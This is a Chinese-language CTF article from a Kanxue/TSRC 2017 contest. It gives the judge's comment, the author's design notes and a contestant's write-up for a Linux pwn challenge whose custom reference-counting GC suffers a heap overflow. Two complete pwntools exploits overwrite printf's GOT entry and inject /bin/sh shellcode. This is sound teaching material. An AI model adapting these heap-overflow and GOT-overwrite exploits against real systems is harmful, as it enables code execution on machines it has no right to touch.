看雪.腾讯TSRC 2017 CTF 秋季赛 第七题点评及解析思路

Editor 2017-11-07 17:59 125

看雪CTF 官网

导语

经过两天奋战,第七题结束。

第七题出题者Ox9A82以14人攻破的成绩,排位防守方第三名。

攻击方hotwinter依然排名第一位,iweizime上升一位,现排名第二名。

此题过后,前十名的排名依然在不断变化中......现前十名的排名如下:

选手们正在带给我们越来越多的惊喜~

距离比赛结束还剩三题,同志们,加油吧!

接下来让我们一起来看看第七题的点评、出题思路和解析。

看雪评委netwind点评

作者设计新颖,引入了一个内存管理结构GC来提供自动的内存管理,但实际环境中GC也常常漏洞频发。本题中cheat函数功能存在堆溢出漏洞,通过堆溢出控制GC的指针结构,之后通过触发回收可以造成任意地址写的操作,通过任意地址写控制函数的got表的内容就可以实现漏洞利用。

第七题作者简介

Ox9A82,曾在腾讯实习的安全研究员,关注浏览器和Windows系统的安全漏洞,目前从事Edge浏览器Chakra引擎的安全研究。同时也是一名属于Syclover和Nu1L团队的CTFer和CTF-Wiki的编辑者,对CTF中的各类Pwn技巧比较有兴趣。

最早结识看雪平台出于对逆向和内核Rootkit技术的热爱,在看雪也学习到了很多,希望看雪接下来可以越办越好。

第七题设计思路

这道题出题时的想法是把实际漏洞环境中比较常见的GC结合进CTF中的Linux Pwn题目中,但是比较遗憾的是水平有限没能够在出题时间内完成整个GC的漏洞设计,所以只好做了简化并构造了漏洞,因此这个利用的难度其实比较简单。

首先,解释一下什么是GC,GC一般称作垃圾回收,设计GC的目的是为了给程序员提供自动的内存管理,这样程序员就不需要手动的去释放内存了。因为程序员手动管理内存往往会产生内存泄漏等问题,所以现在一般的脚本语言或者虚拟机往往都存在有GC,比如java虚拟机、javascript引擎等等。

但是,在实际环境中GC也是漏洞的高发地带,比如在IE浏览器mshtml中各种DOM对象都是基于引用计数进行内存管理的,复杂的引用计数关系导致出现了大量的Use-After-Free漏洞。

在这道题目中,涉及到了一个基础的引用计数法(Reference Counting Collector)GC,当程序分配内存之后会自动维护对于每个块的引用技术,当检测到某个块的计数为0时就会把它回收以便进行下一次使用。

但是在进行内存回收时,这个块中可能会存在对其它块的引用,因此释放此块时需要对块中所有的指针进行判断,如果判定是由GC维护的块就需要对指针指向的块也做引用计数减一的操作。

这道题目中cheat功能存在一个堆溢出漏洞,通过堆溢出可以控制到GC的指针结构,之后通过触发回收可以造成一个任意地址写固定值的操作,通过任意地址写控制函数的got表内容就可以实现getshell。

from pwn import *

import time

from ctypes import *

import os, sys

def uint32(x):

return c_uint32(x).value

def log(str):

log.info(str)

def info(string):

return log.info(string)

def js(str):

return io.recvuntil(str)

def jsn(num):

if num:

return io.recvn(num+1)

else:

return io.recvn(num)

def fs(str):

io.sendline(str)

def fsn(str):

io.send(str)

def stop():

while 1:

time.sleep(1)

def shell():

io.interactive()

def mark(name,vaule):

string='\n=====>'+str(name)+' :'+str(vaule)+'\n'

print string

def dbg(string):

raw_input(string)

def shellcode():

return asm(shellcraft.amd64.linux.sh())

###setting

local=1

debug=0

log=1

if local:

io=process('./pwn')

#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:

io=remote('127.0.0.1',10086)

libc = ELF('./libc')

if log:

context(log_level='debug')

if debug:

gdb.attach(io)

#user code =============================

def signup():

js('2.Signup')

fs('2')

js('input your username')

fs('1')

js('input your password')

fs('1')

js('input your character')

fs('1')

def login():

js('2.Signup')

fs('1')

js('Input your username:')

fs('1')

js('Input your password:')

fs('1')

def goto():

js('0.exit')

fs('3')

js('6.Primorsk')

fs('1')

def explore():

js('0.exit')

fs('4')

try:

js('Do you want to pick up it?')

except Exception:

js('nothing found')

return False

fs('y')

return True

def view_package():

js('0.exit')

fs('2')

def del_item(num):

js('Your Choice:')

fs(str(num))

js('2.return')

fs('1')

js('2.return')

fs('2')

js('Your Choice:')

fs('8')

def cheat():

js('0.exit')

fs('5')

js('name')

fs('1')

js('content')

fs('123')

def overflow(str):

js('0.exit')

fs('5')

js('content')

fs(str)

def get_shell():

js('0.exit')

fs('y')

fs('1')

js('Input your username:')

fs('1')

js('Input your password:')

fs('1')

shell()

if __name__=='__main__' :

signup()

login()

goto()

cheat()

if False==explore():

mark('try again')

if False==explore():

mark('try again')

payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)

overflow(payload)

view_package()

del_item(1)

payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

overflow(payload2)

get_shell()

下面选取攻击者 iweizime 的破解分析

第七题由于是作者自己实现的内存分配机制,所以描述起来比较麻烦,贴了很多图。其实没有那么复杂。

检查和测试

拿到程序后,还是按照流程先用pwntools检查一下,结果如下。

$pwn checksec pwn

Arch:    amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:      NX enabled

PIE:      No PIE (0x400000)

可以看到程序是64位的,可以改got表,有栈保护,有NX,没有PIE。虽然开了NX保护,但是并没有什么用,还是可以用shellcode,后面会说到。

然后先跑一下程序,了解一下基本流程。进过几次测试之后,很幸运的发现一个使程序崩溃的漏洞,虽然不知道漏洞详情,但能崩溃就有可能导致代码执行。

逆向

pwn题的逆向一般会简单很多,因为里面会有很多字符串,而且考点也不是逆向。只挑和漏洞有关的几个函数说一下。

首先main很简单。

在函数init_game里面,用函数mmap_mem分配了一块内存,将这块内存的首尾地址保存在了两个全局变量mem_start, mem_end中,然后又保存了一个top_chunk指针,用于作者自己实现的mymalloc函数分配内存。

在往下看,到mmap_mem函数里面,就发先一些问题了,函数mmap分配的内存是可读、可写、可执行的。这也就是NX保护没有用,可以使用shellcode的原因。

在注册、登陆之后,主要循环如下:

其中的cheat函数存在问题,如果是首次cheat,会分配一块大小为48字节的内存,前16字节作为name,后32字节作为content。然而再次cheat的时候,读入content的最大长度为300,这显然是个漏洞。

现在来看一下为什么登陆两次会发生崩溃。

在signup的时候,程序会分配一块48字节大小的内存,并调用set_buf函数来使全局变量userinfo指向这块内存。当再次signup的时候,程序又分配一块新内存,然后将全局变量userinfo指向新的内存,并对原来的那块内存进行一次应该是类似于free但是很奇怪的操作。

下面来看一下maybe_free和与之相关的几个函数。

首先是set_buf函数,它调用了maybe_free函数。

然后是maybe_free函数本身。

再然后是find_valid_addr_in_chunk函数。

再然后是valid_address函数。

最后是add_to_array函数。

用图解释一下add_to_array做了什么

addr --->  +-+-+-+-+-+ <--+  +-----------> +-+-+-+-+-+ <--- free_array

|        |    +---+------------ |        |

+-+-+-+-+-+        |            +-+-+-+-+-+

|        |        |            |        |

+-+-+-+-+-+        |            +-+-+-+-+-+

|        | -------+            |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

弄清楚这几个函数之后,就可以搞清楚崩溃的问题了。

maybe_free函数调用find_valid_addr_in_chunk函数在要释放的内存中找出它认为是指针(也就是找它认为合法的地址)的字段,然后将这个指针指向的chunk地址保存到一个全局变量free_array指向的数组里,这个数组也是通过myalloc函数分配的,然后将数组的当前地址保存进上述指针指向的位置。一开始输入的用户名weizi变成64为整数为0x697A696577,正好是程序认为的合法地址,但是这个地址又不可写,所以造成了崩溃。可以利用这个漏洞来写got表。

数据结构

在写exploit之前,还需要了解一下数据结构

struct chunk_header_stru {

int64_t inuse;

int64_t size;

}

struct userinfo_stru {

int64_t            unused;

char                username[16];

char                password[16];

characterinfo_stru  *character;

};

struct characterinfo_stru {

char        name[16];

int64_t    health;

int64_t    stamina;

int64_t    available_weight;

int64_t    location;

item_stru  *items;

};

struct item_stru {

int64_t    type;

int64_t    weight;

int64_t    num;

item_stru  *next;

int64_t    bullet;

int64_t    power;

};

Exploit

利用的思路是首先用printf的got表项地址作为用户名signup,然后login并cheat一次。退出后再signup一次,将printf的got表项改为free_array指向的数组的地址。最后用cheat把shellcode写入数组的位置,并触发对printf的调用。

第一次signup,login,cheat之后,内存布局如下:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|  old_usrnf  |    old_chrctrnf      |    cheat      |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

再signup,login之后,内存布局如下

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|  old_usrnf  |    old_chrctrnf      |    cheat    |  new_usrnf  | array | ......

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

^

|

printf

接下来,只要再一次用cheat来把shellcode写入array的位置,并触发printf就可以了。我选取的是函数show_my_status来调用printf,还有一点需要注意的是在show_location函数里面用到了userinfo->characterinfo->location,如果location不合法会退出,所以在覆盖new_usrnf的时候要稍微注意一下。

只需要signup,login,cheat,show_my_status四个操作就可以拿到shell。

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

# Set up pwntools for the correct architecture

context.update(arch='amd64')

context.log_level = 'info'

exe = './pwn'

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

continue

'''.format(**locals())

def start(argv=[], *a, **kw):

if args.REMOTE:

return remote('123.206.22.95', 8888)

if args.GDB:

return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe] + argv, *a, **kw)

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

io = start()

def signup(username, password, character_name):

io.recvuntil('2.Signup')

io.recvuntil('==============================')

io.sendline('2')

io.recvuntil('input your username')

io.sendline(username)

io.recvuntil('input your password')

io.sendline(password)

io.recvuntil("input your character's name")

io.sendline(character_name)

def login(username, password):

io.recvuntil('1.Login')

io.recvuntil('==============================')

io.sendline('1')

io.recvuntil('Input your username:')

io.sendline(username)

io.recvuntil('Input your password:')

io.sendline(password)

def cheat(name, content, isFirstTime=True):

if isFirstTime:

io.recvuntil('0.exit')

io.sendline('5')

io.recvuntil('name:')

io.sendline(name)

io.recvuntil('content:')

io.sendline(content)

else:

io.recvuntil('0.exit')

io.sendline('5')

io.recvuntil('content:')

io.sendline(content)

def goto(location):

io.recvuntil('0.exit')

io.sendline('3')

io.recvuntil('6.Primorsk')

io.sendline(str(location))

def explore(pickup):

io.recvuntil('0.exit')

io.sendline('4')

io.recvuntil('Do you want to pick up it?')

if pickup:

io.sendline('y')

else:

io.sendline('n')

l = io.recvline()

if l == 'Ok..\n':

return True

else:

return False

def view_and_remove(choice):

io.recvuntil('0.exit')

io.sendline('2')

io.recvuntil('Your Choice:')

io.sendline(str(choice))

io.recvline('2.return')

io.sendline('1')

io.recvline('2.return')

io.sendline('2')

io.recvuntil('Your Choice:')

io.sendline('-1')

def logout():

io.recvuntil('0.exit')

io.sendline('0')

def show_status():

io.recvuntil('0.exit')

io.sendline('1')

printf_got = 0x605038

signup(p64(printf_got), '12345678', 'root')

login(p64(printf_got), '12345678')

cheat('weizi', 'weizi', True)

logout()

signup(p64(printf_got), '012345678', 'root')

login(p64(printf_got), '012345678')

payload = 'A' * 32

payload += p64(1)

payload += p64(0x40)

payload += p64(0)

payload += p64(printf_got)

payload += p64(0)

payload += '12345678'

payload += p64(0)

payload += p64(0x6050B8 - 40)  # 伪造的characterinfo *

payload += p64(1)

payload += p64(0x20)

shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

payload += shellcode

log.info("len(payload) = {}".format(len(payload)))

cheat(None, payload, False)

show_status()

io.interactive()

最后得到的flag为flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}。

一点总结

做题首先要细心,像cheat函数中的漏洞很明显,不要漏掉。

要关注输入,有输入的地方才最有可能出漏洞。在这题中,能控制的输入最多的就是cheat,其次就是signup。剩下的基本上只能输入1, 2, 3 ...或者yYnN等。

温馨提示

每道题结束过后都会看到很多盆友的精彩解题分析过程,因为公众号内容的限制,每次题目过后我们将选出一篇与大家分享。解题方式多种多样,各位参赛选手的脑洞也种类繁多,想要看到更多解题分析的小伙伴们可以前往看雪论坛【CrackMe】版块查看哦!

最新评论 (0)
登录后即可评论
返回